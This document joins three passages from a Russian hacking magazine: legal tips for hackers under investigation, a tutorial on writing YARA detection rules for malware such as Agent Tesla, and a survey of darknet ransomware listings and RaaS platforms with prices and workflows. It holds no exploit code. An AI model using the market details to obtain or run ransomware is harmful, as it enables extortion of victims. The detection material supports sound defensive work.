ошиб ку,  но  теперь  готов  стать  оче ред ным  «Кевином  Мит ником»  и  учить
молодых хакеров не совер шать ошиб ки и не прес тупать закон.

ПАМЯТКА

Прес тупле ния в интерне те вле кут более суровое наказа ние.•
По лиция уме ет ждать, а прес тупни ки теря ют бди тель ность.•
Ес ли запах ло паленым — немед ленно прек ращай тем ные дела.•
Каж дый факт наруше ния — отдель ное прес тупле ние.•
Сле ди за приз наками того, что тебя раз рабаты вают.•
Под тебя могут копать без воз бужде ния уго лов ного дела.•
Про кон суль тируй ся с адво катом по поводу так тики и заранее догово рись
о сроч ном выез де.

•

Ста тус сви дете ля не гаран тиру ет твою безопас ность.•
По дель ник может тебя под ста вить.•
Не соп ротив ляй ся при задер жании.•
Не зво ни подель нику, поз вони адво кату или родс твен никам.•
Поп роси родс твен ников при вез ти тебе теп лые вещи для изо лято ра.•
Про верь вре мя задер жания и под пиши про токол.•
Осо бый порядок, приз нание и явка с повин ной умень шат твое наказа ние.•
Не соз навай ся в том, чего не совер шал, — даже под дав лени ем.•
Бес плат ный адво кат не всег да бес полезен.•
Плат ный адво кат не всег да хорош, выбирай по отзы вам.•
Не кон флик туй со сле дова телем, а догова ривай ся с ним!•

mailto:temujin@bk.ru
https://xakep.ru/2014/08/13/silkroad-fail-story/
http://www.consultant.ru/document/cons_doc_LAW_34481/
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ВЗЛОМ

YARA  —  это  популяр ный  и  уни вер саль ный  инс тру мент,
который  иног да  называ ют  швей цар ским  ножом  для  иссле‐ 
дова телей  вре донос ных  прог рамм,  но  исполь зовать  его
мож но и в дру гих целях. Сегод ня мы выс тупим в жан ре «Сам
себе  анти вирус»  и  рас ска жем,  как  с  помощью YARA  писать
пра вила и искать фай лы по харак терным приз накам.

В  нашей  прош лой  статье  (« »)  мы  рас ска зали,
как заг ружали заранее клас сифици рован ные объ екты и при этом пол ностью
упо вали на  зна ния ран домных ана лити ков и  верили  (конеч но,  не до  кон ца!),
что там дей стви тель но находит ся мал варь кон крет ного семей ства. Такое час‐ 
то  про исхо дит  в  реаль ном  мире,  вре донос ное  ПО  нас толь ко  быс тро  появ‐ 
ляет ся, что информа цию о том, как иден тифици ровать угро зу и быс тро реали‐ 
зовать  пра вило  детек тирова ния,  порой  быва ет  поч ти  что  воп росом  жиз ни
или смер ти.

Хеш  чет кий  и  хеш  нечет кий

 — это опен сор сный инс тру мент, который помога ет иссле дова телям
искать  и  клас сифици ровать  вре донос ные  сем плы  и  даже  про водить  Threat
Hunting. Ути лита выпол няет сиг натур ный ана лиз на осно ве фор маль ных YARA‐
опи саний (пра вил). В них содер жатся инди като ры ком про мета ции для раз ных
типов вре донос ного ПО.

YARA

Фиш ка  в  том,  что  делать  пра вила  лег ко  и  не  занима ет  мно го  вре мени.
Имен но поэто му YARA исполь зуют в AlienVault, Avast, ESET, FireEye, Group‐IB,
Kaspersky,  Trend  Micro,  Virus  Total,  x64dbg...  В  общем,  поч ти  все,  кто  име ет
дело с ана лизом вре донос ного ПО.

YARA‐пра вила  могут  обра баты вать  не  толь ко  исполня емые  фай лы,  но  и
докумен ты, биб лиоте ки, драй веры — все что угод но. Ими же мож но ска ниро‐ 
вать сетевой тра фик, хра нили ща дан ных, дам пы памяти. Эти пра вила мож но
вклю чать в дру гие инс тру мен ты, такие как SIEM, анти фишинг, IDS, песоч ницы.

Да вай раз берем ся, как же выг лядят эти пра вила и как их сос тавлять.

СТРУКТУРА ПРАВИЛ
Обыч но пра вила хра нят ся в тек сто вом фор мате в фай ле .yar и сос тоят из двух
сек ций:

сек ции опре деле ний  (strings) — содер жит  харак терные для мал вари кон‐ 
стан ты, хеши, HEX‐фраг менты, ссыл ки, стро ки;

•

сек ции усло вия (condition) — содер жит усло вия, по которым при нима ются
решения отно ситель но ана лизи руемо го фай ла.

•

Выг лядит это так:

rule SomeMalwareName { 

meta: 
author = "AuthorName" 

strings: 
… 

condition: 
… 
} 

ПРИМЕНЯЕМ YARA
Ми нималь но  необ ходимые  сек ции —  это  наз вание  пра вила  и  его  усло вия.
Нап ример, пра вилом ниже мы будем детек тировать объ екты толь ко по их im‐
phash (на тес товых объ ектах из пре дыду щей статьи):

import "pe" 

rule MyLittleAgentTeslaRuleDetect { 

condition: 
   pe.imphash() == "b21a7468eedc66a1ef417421057d3157" or 
   pe.imphash() == "f34d5f2d4577ed6d9ceec516c1f5a744" 
} 

Сох раним файл как   и запус тим на дирек тории с сем пла ми Agent Tesla.
Пос мотрим на резуль тат и убе дим ся, что пра вило отра бота ло на всех пред‐ 
ста вите лях Agent Tesla.

AT.yar

 

 

 
MyLittleAgentTeslaRuleDetect AgentTesla\AT11.exe 
MyLittleAgentTeslaRuleDetect AgentTesla\AT12.exe 
MyLittleAgentTeslaRuleDetect AgentTesla\AT13.exe 
MyLittleAgentTeslaRuleDetect AgentTesla\AT14.exe 
MyLittleAgentTeslaRuleDetect AgentTesla\AT16.exe 
MyLittleAgentTeslaRuleDetect AgentTesla\AT2.exe 
MyLittleAgentTeslaRuleDetect AgentTesla\AT18.exe 
MyLittleAgentTeslaRuleDetect AgentTesla\AT15.exe 
MyLittleAgentTeslaRuleDetect AgentTesla\AT10.exe 
MyLittleAgentTeslaRuleDetect AgentTesla\AT3.exe 
MyLittleAgentTeslaRuleDetect AgentTesla\AT6.exe 
MyLittleAgentTeslaRuleDetect AgentTesla\AT7.exe 
MyLittleAgentTeslaRuleDetect AgentTesla\AT1.exe 
MyLittleAgentTeslaRuleDetect AgentTesla\AT9.exe 
MyLittleAgentTeslaRuleDetect AgentTesla\AT4.exe 
MyLittleAgentTeslaRuleDetect AgentTesla\AT17.exe 
MyLittleAgentTeslaRuleDetect AgentTesla\AT5.exe 
MyLittleAgentTeslaRuleDetect AgentTesla\AT8.exe

C:\>yara64.exe ‐r AT.yar AgentTesla

Ре зуль тат — все из всех.
Как  ты  мог  заметить,  пра вила  YARA  под держи вают  импорт  полез ных

модулей.  Соот ветс твен но,  мож но  написать  свои  модули.  Вот  нес коль ко
наибо лее час то исполь зуемых:

pe — фун кции, нуж ные при работе с объ екта ми Portable Executable,  нап‐ 
ример кон троль ная сум ма imphash, мет ка вре мени соз дания, рас положе‐ 
ние сек ций;

•

hash — рас чет кон троль ных сумм и крип тогра фичес ких хешей;•
math  —  матема тичес кие  под сче ты,  нап ример  сред нее  ариф метичес кое
или энтро пия.

•

Пол ный  спи сок  ты  всег да  можешь  гля нуть  в 
.

офи циаль ной  докумен тации
по YARA

ПИШЕМ ПРАВИЛА
В опци ональ ной сек ции опре деле ний мож но юзать мас ки  (wildcard, подобия
регуляр ных выраже ний). Нап ример, для шес тнад цатерич ных строк воз можны
такие мас ки:

сим вол   — наличие любого бай та на мес те это го сим вола;• ?

ди апа зоны (  — от 4 до 6 раз личных бай тов);• [4­6]

аль тер нативы (логичес кое ИЛИ —  ).• |

Рас смот рим  еще  один  при мер  с  нес коль кими  пра вила ми  и  про демонс три‐ 
руем тебе раз нооб разие воз можнос тей детек тирова ния YARA:

import "hash" 

rule MyExe_RUFUS { 
strings: 
   $my_HEX_string = { E0 38 D2 21 32 4D 1B C1 79 EC 00 70 76 F5 62 
B6 } 

condition: 
   $my_HEX_string and hash.md5(0, 
filesize) == "d35936d329ac21ac3b59c525e2054078" 
} 

rule MyExe_Hercules4 { 
strings: 
   $my_HEX_string = { 59 (E9 D8|FF) 1A 00 00 5? E8 [4‐6] 94 8F } 
condition: 
   $my_HEX_string 
} 

rule MyURL_Yandex { 
strings: 
   $my_URL_string = "https://yandex.ru" 
condition: 
   $my_URL_string 
} 

rule MyRar_SFX { 
strings: 
   $winrar1 = "WINRAR.SFX" nocase wide ascii 
   $winrar2 = ";The comment below contains SFX script commands" 
wide ascii 
   $winrar3 = "Silent=1" wide ascii 
   $winrar4 = { E8 65 64 00 00 E9 78 FE FF FF} 
   //$winrar4 = "sfx" nocase 
condition: 
   1 of them 
} 

Раз берем каж дое из пра вил:
 — пра вило сра баты вает, если будет обна ружен ука зан ный

машин ный код и сов падет хеш MD5;
• MyExe_RUFUS

 — при мер пра вила с исполь зовани ем мас ки по шес‐ 
тнад цатерич ным зна чени ям.   ( ) — зна чит, что дол жно встре‐ 
тить ся пос ле бай та 59 либо два бай та E9 D8, либо один байт FF.   зна чит,
что здесь может быть вари ация от 50 до 5F. E8 [4‐6] 94 зна чит, что меж ду
бай тами E8 и 94 могут быть любые от 4 до 6 байт.

• MyExe_Hercules4

59 E9 D8|FF

5?

 — пра вило сра баты вает при нахож дении в объ екте стро‐ 
ки, содер жащей ссыл ку.

• MyURL_Yandex

 — при мер пра вила для поис ка архи вов SFX. 
озна чает, что стро ка может быть с любой вари ацией регис тров сим волов,
нап ример    или  .  Параметр    озна чает,  что  в  стро ке
дол жно быть соот ветс твие по ASCII‐сим волам, которые могут кодиро вать‐ 
ся дву мя бай тами (wide), что типич но для исполня емых бинар ников.

• MyRar_SFX "sfx" nocase

Sfx SFX wide  ascii

Пос мотрим, как выг лядят исходные фай лы для тес тирова ния пра вил.

За пус тим про вер ку с нашим пра вилом MyExe.yar и оце ним резуль тат.

 

 

 
MyExe_Hercules4 C:\SAMPLES\Hercules4.exe 
MyExe_RUFUS C:\SAMPLES\rufus‐2.17p.exe 
MyRar_SFX C:\SAMPLES\HV_DETECT_FIN.exe 
MyURL_Yandex C:\SAMPLES\Dear_Recipient.pdf

C:\>yara64.exe ‐r MyExe.yar C:\SAMPLES

До кумен ты PDF и DOCX иден тичны, но YARA не смог ла най ти стро ку ссыл ки
в нем, так как фор мат DOCX — это архив ZIP. Для работы с ним нуж но будет
добавить  кас томный  модуль  для  работы  с  архи вами,  но  мы  не  будем  в  это
углублять ся.

Са мое  глав ное —  гра мот но  сос тавить  усло вие,  по  которо му  будет  про‐ 
верять ся файл. Обыч но оно  ком биниру ет  перемен ные из  сек ции опре деле‐ 
ния,  под держи вают ся  логичес кие  опе рато ры  вро де    и  ,  скоб ки  и  кон‐ 
стан ты. Нап ример:

or and

 — раз мер фай ла;• filesize

 — задание сме щения;• at

 — хотя бы одно усло вие из перечис ленных в пра виле дол жно
выпол нить ся;

• 1 of them

 — то же самое, что «1 of them».• any of them

И так далее, пол ный спи сок  .смот ри в докумен тации

АВТОМАТИЗАЦИЯ
Для получе ния пра вил есть три пути: ска чать готовые (ссыл ки — ниже), сде‐ 
лать  самому  (вари ант  для  энту зиас тов)  либо  зас тавить  машину  сде лать  их
самос тоятель но.  В  пос леднем  слу чае  подой дут  раз ные  генера торы,  нап‐ 
ример  ,  ,  ,  . В основном для  генера ции пра вил они
находят уни каль ные стро ки в фраг ментах вре доно сов, но ты сам понима ешь,
что это не самый надеж ный спо соб.

yabin YaYaGen yarGen BASS

ПОЛЕЗНЫЕ ССЫЛКИ
Ос тался толь ко один воп рос: где взять все эти готовые инди като ры ком про‐ 
мета ции  (IoC)  и  пра вила? Отве чаем:  есть    (и  его

) и мас са агре гато ров пра вил  .
офи циаль ный репози торий

зер кало в под борке на GitHub
Все пра вила, кста ти, ты можешь объ еди нить в один файл .yar. Единс твен‐ 

ное  тре бова ние —  у  пра вил дол жны быть  уни каль ные име на,  которые будут
выводить ся в резуль тате работы прог раммы.

mailto:mainboros777@gmail.com
mailto:nayca@mail.ru
https://xakep.ru/2020/09/28/clear-hash/
https://github.com/VirusTotal/yara
https://yara.readthedocs.io/en/stable/writingrules.html#using-modules
https://yara.readthedocs.io/en/stable/writingrules.html
https://github.com/AlienVault-OTX/yabin
https://github.com/jimmy-sonny/YaYaGen
https://github.com/Neo23x0/yarGen
https://github.com/Cisco-Talos/bass
https://github.com/Yara-Rules/rules
https://valhalla.nextron-systems.com/
https://github.com/InQuest/awesome-yara#rules
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ВЗЛОМ

Эпи демии  тро янов‐шиф роваль щиков  регуляр но  сме няют
одна дру гую, и их мас шта бы все рас тут. А за кулиса ми этой
проб лемы  сто ят  дель цы,  которые  пред лага ют  жела ющим
лег кий спо соб стать хакера ми (и с хорошей веро ятностью —
зарабо тать судимость). В этой статье я рас ска жу о том, как и
за сколь ко в дар кне те пред лага ют услу ги и софт для вымога‐ 
ния денег.

Но нач нем мы с того, что раз берем ся в исто рии вымога тель ской мал вари.

ЭВОЛЮЦИЯ ЦИФРОВОГО ГОП-СТОПА
Пер вая зафик сирован ная эпи демия шиф роваль щика про изош ла в 1989 году,
ког да нор веж ский биолог Джо зеф Попп разос лал по поч те дис кету, эти кет ка
которой  обе щала  прос ветитель скую  информа цию  о  СПИ Де.  В  реаль нос ти
прог рамма внед рялась в AUTOEXEC.BAT, скры вала пап ки и пов режда ла фай‐ 
лы.  Во  вре мя  сле дующей  заг рузки  поль зователь  видел  пред ложение  обно‐ 
вить  лицен зию ОС, отпра вив 189 дол ларов по  поч те  в Панаму  на  счет  ком‐ 
пании PC Cyborg Corporation, даль ше компь ютер не заг ружал ся.

В  осно ве  AIDS  лежала  сим метрич ная  крип тогра фия,  то  есть  для  шиф‐ 
рования  и  рас шифров ки  информа ции  исполь зовал ся  один  и  тот  же  ключ,
поэто му таб летку от вируса сде лали доволь но быс тро. Поп па вско ре наш ли,
но  приз нали  нев меня емым  и  отпра вили  на  лечение.  Соз датель  пер вого
вымога теля  прос лавил ся  тем,  что  носил  на  голове  кар тонную  короб ку
для защиты от ради ации.

Пре дуп режде ние о зараже нии AIDS

На  про тяже нии  сле дующих  шес тнад цати  лет  слу чаи  зараже ния  прог рамма‐ 
ми‐вымога теля ми были все еще ред ки, нес мотря на раз витие интерне та. Все
изме нилось в 2005 году пос ле того, как по сети ста ла рас простра нять ся вре‐ 
донос ная прог рамма GPCoder.

GPCoder  зашиф ровывал  информа цию,  исполь зуя  прод винутый  для  тех
вре мен  крип тогра фичес кий  алго ритм  RSA.  Чуть  поз же  появил ся  Archievus,
который энкрип тил фай лы  толь ко в пап ке  «Мои докумен ты». Оба вре доно са
при носи ли  соз дателям  малый  про фит,  потому  что  анти виру сы  лег ко  их
находи ли и уда ляли.

Вре донос  Vundo,  который  начали  при менять  для  вымога тель ства  Bitcoin
в  2009  году,  тоже  про валил ся.  Прог раммис ты  ком пании  FireEye  написа ли
скрипт для рас шифров ки дан ных за нес коль ко дней и оста вили девело перов
Vundo без при были.

Со обще ние с тре бова нием о выкупе от Vundo

В  2011  году  воз ник  новый  вид  прог рамм‐вымога телей  —  WinLock.  Вмес то
того что бы зашиф ровывать информа цию, локеры бло киро вали дос туп к Win‐
dows и выводи ли на экран фей ковое меню для акти вации ОС. Жер твам пред‐ 
лагали  поз вонить  в  служ бу  под дер жки  или  отпра вить  SMS,  что бы  получить
код. За зво нок и сооб щение взи мали пла ту, которая перечис лялась пря миком
в кар ман рэкети рам.

Тем  не менее  биз нес‐модель,  осно ван ная  на  при мене нии  локеров,  ока‐ 
залась  про валь ной. В  2012  году  вымога тели  зарабо тали  лишь 5 мил лионов
дол ларов.  Сум ма  серь езная,  но  по  мер кам  сов ремен ных  угроз  —  ерун да.
Поэто му уже в сле дующем году хакеры вер нулись к исто кам циф рового шан‐ 
тажа  и  ста ли  исполь зовать  модифи циро ван ную  вер сию  шиф роваль щика
CryptoLocker.

Глав ное  отли чие  CryptoLocker  от  Vundo  зак лючалось  в  том,  что  зашиф‐ 
рован ные фай лы было невоз можно вос ста новить, так как для их дешиф ровки
тре бовал ся 2048‐бит ный  ключ,  который мож но было получить  в онлай новой
служ бе пос ле опла ты. Все го лишь за два месяца доход соз дателей мал вари
дос тиг 27 мил лионов дол ларов в бит кой нах.

Ме ню опла ты CryptoLocker

В 2014 году пос ле зах вата анти вирус ными спе циалис тами бот нета Gameover
ZeuS,  через  который  рас простра нял ся  CryptoLocker,  на  рын ке  прог‐ 
рамм‐вымога телей  начали  домини ровать  его  кло ны —  CryptoWall  и  Torrent‐
Locker.  В  2016  году  спе циалис ты  обна ружи ли  пер вый  вирус‐вымога тель
под  наз вани ем  KeRanger,  пред назна чен ный  для  зараже ния  маков.  Спус тя
нес коль ко месяцев кибер безопас ники иден тифици рова ли мно гоп рофиль ный
тро ян Ransom32, спо соб ный инфи циро вать ком пы с Windows, Mac или Linux.

В мае 2017 года с появ лени ем крип точер вя WannaCry началась новая эра
в исто рии циф рового гоп‐сто па. WannaCry экс плой тил уяз вимость EternalBlue
в  Windows,  уста нав ливал  бэк дор,  заг ружал  код  шиф роваль щика  и,  заразив
один  компь ютер,  быс тро  рас простра нял ся  по  локаль ной  сети. За  год  червь
про лез в 520 тысяч устрой ств и нанес ущерб на 4 мил лиар да дол ларов. Сов‐ 
ремен ник WannaCry — крип точервь Petya, который исполь зовал тот же самый
экс пло ит Windows. Вред от «Пети» пре высил 3 мил лиар да дол ларов.

Кар та зараже ния WannaCry

В  2018  году  на  элек трон ную  поч ту  поль зовате лей  сети  начали  при ходить
пись ма с ори гиналь ным вре доно сом GandCrab. Вымога тели соб лазня ли юзе‐ 
ров  любов ными  пос лани ями  и  архи вами  с  роман тичны ми  наз вани ями,  нап‐ 
ример, Love_You_2018. Но архи вы были с изю мин кой — дис три бути вом, заг‐ 
ружа ющим  GandCrab.  В  2019  году  раз работ чики  «Кра ба»  повеси ли  клеш ни
на гвоздь, сор вав куш при мер но в 2 мил лиар да дол ларов.

Лю бов ное пос лание от GandCrab

Эс тафет ную  палоч ку  перех ватили  злые  гении,  сто ящие  за  изоб ретени ем
вымога теля REvil,  извес тно го  так же под име нем Sodinokibi. ИБ‐спе циалис ты
наш ли  сов падения  в  кодах  GandCrab  и  Sodinokibi,  а  так же  выяс нили,  что
в  обо их  исполь зуют ся  прак тичес ки  оди нако вые  фун кции  декоди рова ния
строк.  Поэто му  экспер ты  уве рены,  что  REvil  —  это  пря мой  нас ледник
GandCrab.

На  вол не  хай па  вок руг  WannaCry  и  Petya  в  дар кне те  запус тили  сер висы
Ransomware as a Service (RaaS) — тул киты и плат формы для выпол нения атак
и  получе ния  выкупа.  Льви ная  доля  кли ент ской  базы  RaaS  при ходит ся
на  ламеров,  которые  стре мят ся  сру бить  капус ту,  но  не  хотят  ничего  прог‐ 
рамми ровать  самос тоятель но.  Вымога тель ство  как  услу га  пред став ляет
собой  модель  сот рудни чес тва  меж ду  опе рато рами  прог рамм‐шан тажис тов
и так называ емы ми аген тами.

RANSOMWARE НА ПРОДАЖУ
На круп ней шем меж дународ ном мар кет плей се я нашел десяток объ явле ний,
свя зан ных с прог рамма ми‐вымога теля ми. Вот они.

WARNING

Вся  информа ция  пре дос тавле на  исклю читель но
в  озна коми тель ных  целях.  Автор  и  редак ция
не  несут  ответс твен ности  за  любой  воз можный
вред, при чинен ный информа цией из этой статьи.
Рас простра нение  вирусов  и  вре донос ных  прог‐ 
рамм —  незакон ное  дей ствие  и  вле чет  за  собой
уго лов ную ответс твен ность.

1. Исходный код KingLocker на Python для Windows за 99 евро
Вен дор утвер жда ет, что пос ле запус ка исполня емо го фай ла мал варь под клю‐ 
чает ся к панели управле ния сер вером, ска чива ет ключ, зашиф ровыва ет дан‐ 
ные на устрой стве и откры вает веб‐стра ницу с тре бова нием выкупа в Bitcoin.
Какую‐либо  информа цию  о  слу чаях  зараже ния  KingLocker  я  не  обна ружил.
Пер вое  и  единс твен ное  упо мина ние  о  вирусе  на  форуме    датиру‐ 
ется 12 июля 2020 года.

Raid

2. Вредонос Sodinokibi/REvil за 2000 долларов
По    Panda  Security,  Sodinokibi  —  самая  при быль ная  прог‐ 
рамма‐шан тажист  по  ито гам  чет верто го  квар тала  2019  года.  Вре донос
генери рует  уни каль ный  ID  и  клю чи  для  каж дого  устрой ства,  зашиф ровыва ет
фай лы,  меня ет  обои  на  рабочем  сто ле  и  выводит  на  экран  инс трук цию
по  дешиф ровке,  в  которой  ука зан  URL‐адрес  фор мы  для  вос ста нов ления
дос тупа к дан ным.

све дени ям

3. Пакет исходных кодов программ вымогателей за 15 евро
Сос тоит из:

Skiddy ScreenLocker — копия тро яна Exotic;•
 — Open Source про ект, заг ружен на GitHub в 2016 году;• NxRansomware

  —  пер вый  тро ян‐вымога тель  с  откры тым  исходным  кодом,
выложен ный на GitHub в 2015 году;

• HiddenTear

 — оче ред ной опен сорс, раз работан ный в 2018 году;• MyLittleRansomware
Jigsaw Ransomware — иден тифици рован в 2016 году, наз ван в честь кук лы
Бил ли из «Пилы»;

•

EDA2 Ransomware —  соб ран  на  базе  конс трук тора  EDA2  и  тре бует фик‐ 
сирован ную пла ту за рас шифров ку — 0,1 BTC;

•

CryptoLocker — леген дарный ста ричок, сумев ший зас тавить аме рикан ских
копов рас кошелить ся на 500 дол ларов;

•

Andr0id  L0cker  —  мобиль ный  вымога тель,  который  бло киру ет  дос туп
к Android;

•

Shark Ransomware — был запущен как RaaS в клир нете в 2016 году.•

К сло ву, Andr0id L0cker — единс твен ный мобиль ный вымога тель, выс тавлен‐ 
ный на про дажу на посещен ных мной теневых рын ках.

4. WannaCry за 150 долларов
Тро ян «ХочуП лакать» еще рано хоронить, ведь в пер вом квар тале это го года
на  его  долю  приш лось  40,5%  обна ружен ных  слу чаев  зараже ния.  Но  пос ле
эпи демии вируса в 2017 году Microsoft выпус тила пат чи для вер сий ОС вплоть
до  XP,  где  была  устра нена  уяз вимость,  которую  экс плу ати ровал  WannaCry.
Поэто му пер воначаль ная сбор ка прог раммы‐шан тажис та уже не может уста‐ 
новить бэк дор для заг рузки и запус ка исполня емо го фай ла на подав ляющем
боль шинс тве компь юте ров.

5. Модульный троян LimeRAT за 89 евро
Мно гофун кци ональ ный  вре донос,  раз работан ный  для  шиф рования  дан ных
на жес тком дис ке и флеш ках, уста нов ки май нера XMR, кра жи дан ных о крип‐ 
токошель ках и выпол нения DDoS‐атак. Рас простра няет ся через фай лы Excel
и  USB‐накопи тели,  уме ет  само уда лять ся,  если  обна ружит  вир туаль ную
машину.

6. Исходный код Blackmail Bitcoin Ransomware кастомной сборки
за 15 долларов
Лю бопыт ный вари ант вре доно са,  который мож но исполь зовать  как обыч ный
шиф роваль щик и инс тру мент для кра жи Bitcoin. В режиме вымога теля прог‐ 
рамма  шиф рует  фай лы  на  устрой стве  и  тре бует  выкуп.  В  фор мате  сти лера
тро ян  рас позна ёт  адре са  BTC  в  буфере  обме на  и  модифи циру ет  их.  Если
жер тва ско пипас тит и не про верит адрес, то бит ки уйдут в кошелек хакера.

7. Модульный вредонос DiamondFox за 1000 долларов
Вер сия DiamondFox,  выпущен ного  в  2017  году,  с  обновле ниями  от  17 мар‐ 
та 2020 года. Рас простра няет ся толь ко с помощью USB‐накопи телей и сос‐ 
тоит из девяти эле мен тов:

Cookie Grabber — вору ет  куки из бра узе ров Firefox, Google Chrome и Mi‐
crosoft Edge;

•

Botkiller — находит и уда ляет вре донос ные скрип ты;•
Video Recorder — записы вает дей ствия юзе ра на экра не;•
прог рамма‐шан тажист —  авто мати чес ки  рас шифро выва ет  дан ные  пос ле
под твержде ния перево да выкупа;

•

крип товалют ный  сти лер  —  меня ет  адре са  BTC,  BCH,  LTC,  ETH,  DOGE,
DASH, XMR, NEO и XRP;

•

кей лог гер  —  регис три рует  и  переда ет  информа цию  о  нажатии  кла виш,
при вязан ную к дате и вре мени;

•

файл‐сти лер —  ска чива ет фай лы  выб ранно го фор мата  и  опре делен ного
раз мера;

•

сти лер паролей из бра узе ров и мес сен дже ров;•
бот для Windows x64 и x86.•

Ди лер  не  опуб ликовал  под робную  информа цию  о  прог рамме‐вымога теле.
Но,  учи тывая ее низ кую сто имость  (60 дол ларов), рис кну пред положить,  что
это опен сор сный про ект или модифи кация уста рев шей мал вари.

8. Ransomware 2020 за 49 долларов
Про давец  не  написал  наз вание  вре доно са,  но  заявил,  что  он  был  соз дан
в 2020  году и его не может обна ружить ни один анти вирус. По сло вам вен‐ 
дора,  мал варь  исполь зует  алго ритм  шиф рования  AES  и  откры вает
на заражен ном компь юте ре тек сто вый файл с тре бова нием о выкупе в крип‐ 
товалю те.

Продолжение статьи →

mailto:ayammsp@gmail.com
https://raidforums.com/Thread-Source-Code-Ransomware-King-Locker
https://www.cloudav.ru/mediacenter/malware/sodinikibi-ransomware-report/
https://github.com/guibacellar/NxRansomware
https://github.com/goliate/hidden-tear
https://github.com/aaaddress1/my-Little-Ransomware
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9. Blackmail Bitcoin Ransomware с исходным кодом за 40
долларов
Прог рамма‐вымога тель  рас простра няет ся  через  флеш ки  и  уста новоч ные
фай лы, ска чан ные в интерне те. Для USB‐накопи теля сущес тву ет опция авто‐ 
мати чес кого  запус ка  вре доно са  через  опре делен ный  вре мен ной  про межу‐ 
ток. Осо бен но при ятно, что в ком плект вхо дит руководс тво по при мене нию.

10. Исходный код пяти программ-шантажистов Bitcoin Ran-
somware за 18 долларов
В эту под борку вклю чены сов ремен ные вре доно сы, а так же инс трук ции по их
кон фигура ции  и  рас простра нению.  Наз вания  мал вари  дер жатся  в  сек рете,
но  вен дор  сооб щил,  что  все  прог раммы новые  и  под ходят  для  вымога тель‐ 
ства вир туаль ных валют.

А  вот  рус ский  дар кнет,  как  обыч но,  разоча ровал. На  рус ско языч ных  тор‐ 
говых пло щад ках и форумах не про дают прог раммы‐вымога тели и не пре дос‐ 
тавля ют  услу ги  орга низа ции  атак,  потому  что  модера торы  плат форм  банят
за RaaS. Куда ни кинь, вез де толь ко вещес тва, кар динг и про бивы.

ШАНТАЖ ПОД КЛЮЧ
Сей час в дар кве бе работа ют две пол ноцен ные плат формы RaaS, соз данные
для  авто мати зации  и  опти миза ции  рас простра нения  мал вари  и  получе ния
выкупа. У пло щадок раз ный modus operandi и усло вия сот рудни чес тва, но их
объ еди няет одно — девело перы не про дают исходный код вре доно сов.

Ranion
Вла дель цы  пло щад ки  пред лага ют  при обрести  сер висный  пакет,  в  который
вхо дят:

рас положен ная в Tor панель управле ния для менед жмен та клю чей;•
рас шифров щик;•
ад дон  для  перево да  тек ста  бан нера  с  тре бова нием  о  выкупе  на  опре‐ 
делен ный  язык  и  добав ления  рас ширений  фай лов  в  спи сок  под держи‐ 
ваемых.

•

Что бы получить дос туп к услу ге, вла дель цы про сят перевес ти день ги в Bitcoin
и отпра вить пись мо на их элек трон ную поч ту, сооб щив свой адрес BTC, сум му
выкупа, email для свя зи с кли ента ми и спи сок аддо нов. Пос ле под твержде ния
пла тежа вла дель цы пло щад ки обе щают выс лать:

ис полня емый  файл  прог раммы‐вымога теля  для  устрой ств  на  Windows
x86 и x64, которая при меня ет алго ритм шиф рования AES;

•

дек риптор для рас шифров ки дан ных;•
ссыл ку на панель управле ния в дар кве бе.•

Пос ле  запус ка  экзешни ка  на  компь юте ре  жер твы  мал варь  зашиф рует  все
фай лы с 43 рас ширени ями из спис ка (нап ример, .txt,  .docx,  .jpeg и .rar), сге‐ 
нери рует ключ и отпра вит его в панель управле ния. На монито ре заражен ной
машины  появит ся  сооб щение  с  тре бова нием  о  выкупе.  В  пре дуп режде нии
будет  ука зан  адрес  крип токошель ка  и  email  для  свя зи.  Если  пос тра дав ший
не переве дет бит ки за семь дней, то ключ для дешиф ровки будет уда лен.

По лучив  крип товалю ту  от  жер твы,  ата кующий  дол жен  запус тить  дек риптор,
вста вить ключ жер твы и выб рать опцию Decrypt My Files. Пос ле это го фай лы
будут авто мати чес ки рас шифро ваны.

Вре донос под держи вает опцию отло жен ного запус ка и шиф рования, отклю‐ 
чает  дис петчер  задач,  меня ет  обои  на  рабочем  сто ле  и  отсле жива ет  IP
устрой ства.  Помимо  это го,  пред лага ется  при обрести  допол нитель ный
обфуска тор и уни каль ный .onion‐адрес (будет написан на бан нере) за 90 дол‐ 
ларов.  Под писка  на  сер вис  на  один  месяц  сто ит  120  дол ларов,  на  шесть
месяцев — 490 дол ларов, на год — 900 дол ларов.

По  сло вам  авто ров  про екта,  85%  анти виру сов  не  находят  Ranion,
оставши еся  15%  вно сят файл  в  спи сок  подоз ритель ных  или  нежела тель ных
прог рамм. Раз работ чики регуляр но апдей тят вре донос и обе щают рас сылать
обновлен ные  вер сии  под писчи кам  на  элек трон ную  поч ту.  Пос ледний
на  момент  написа ния  статьи  апгрейд  был  выпущен  в  сен тябре  2020  года.
Девело перы  утвер жда ют,  что  рас простра няют  ПО  сугубо  в  науч ных  целях,
что бы снять с себя ответс твен ность за незакон ные дей ствия кли ентов.

Сот рудни ки сай та Virus Total  , что в 2017 году экзешник Ranion
детек тирова ли  41  из  60  анти виру сов.  Вер сию  RANION  v1.11,  выпущен ную
в  сен тябре  2020  года,  на  дан ный  момент  еще  не  про веря ли.  Мал варь
не шиф рует теневые копии фай лов, бла года ря это му дан ные мож но вос ста‐ 
новить  с  помощью  бэкапа.  Тем  не  менее  информа цию  не  получит ся  рас‐ 
шифро вать  дек рипто рами,  раз работан ными  экспер тами  по  кибер безопас‐ 
ности, потому что вре донос соз дает уни каль ные клю чи.

ус танови ли

Smaug
Пло щад ка была откры та в мае 2020 года и позици они рует себя как ведущий
про ект  в  сфе ре RaaS. Регис тра ция  на  плат форме сто ит  0,2 BTC  (2137 дол‐ 
ларов  по  текуще му  кур су).  Пос ле  вне сения  пла тежа  поль зователь  получа ет
дос туп к учет ной записи и может соз дать кам панию по зараже нию компь юте‐ 
ров, выб рав одну из двух опций:

обыч ная (для каж дого устрой ства соз дает ся уни каль ный ключ);•
ин сти туци ональ ная  (шиф рует  дан ные  на  нес коль ких  гад жетах,  исполь зуя
один ключ).

•

Су дя  по  инс трук ции,  каж дой  кам пании мож но  прис воить  про изволь ное  наз‐ 
вание,  ввес ти  раз мер  выкупа  в  Bitcoin,  написать  сооб щение,  которое  будут
видеть жер твы, и задать срок дей ствия. Затем нуж но выб рать опе раци онную
сис тему  (Windows,  Linux  или  macOS),  нажать  на  кноп ку  Create  и  ска чать
исполня емый файл прог раммы‐вымога теля.

Вре донос  шиф рует  фай лы  на  устрой стве  жер твы  и  откры вает  тек сто вый
документ, в котором ука зана ссыл ка на пор тал Smaug.

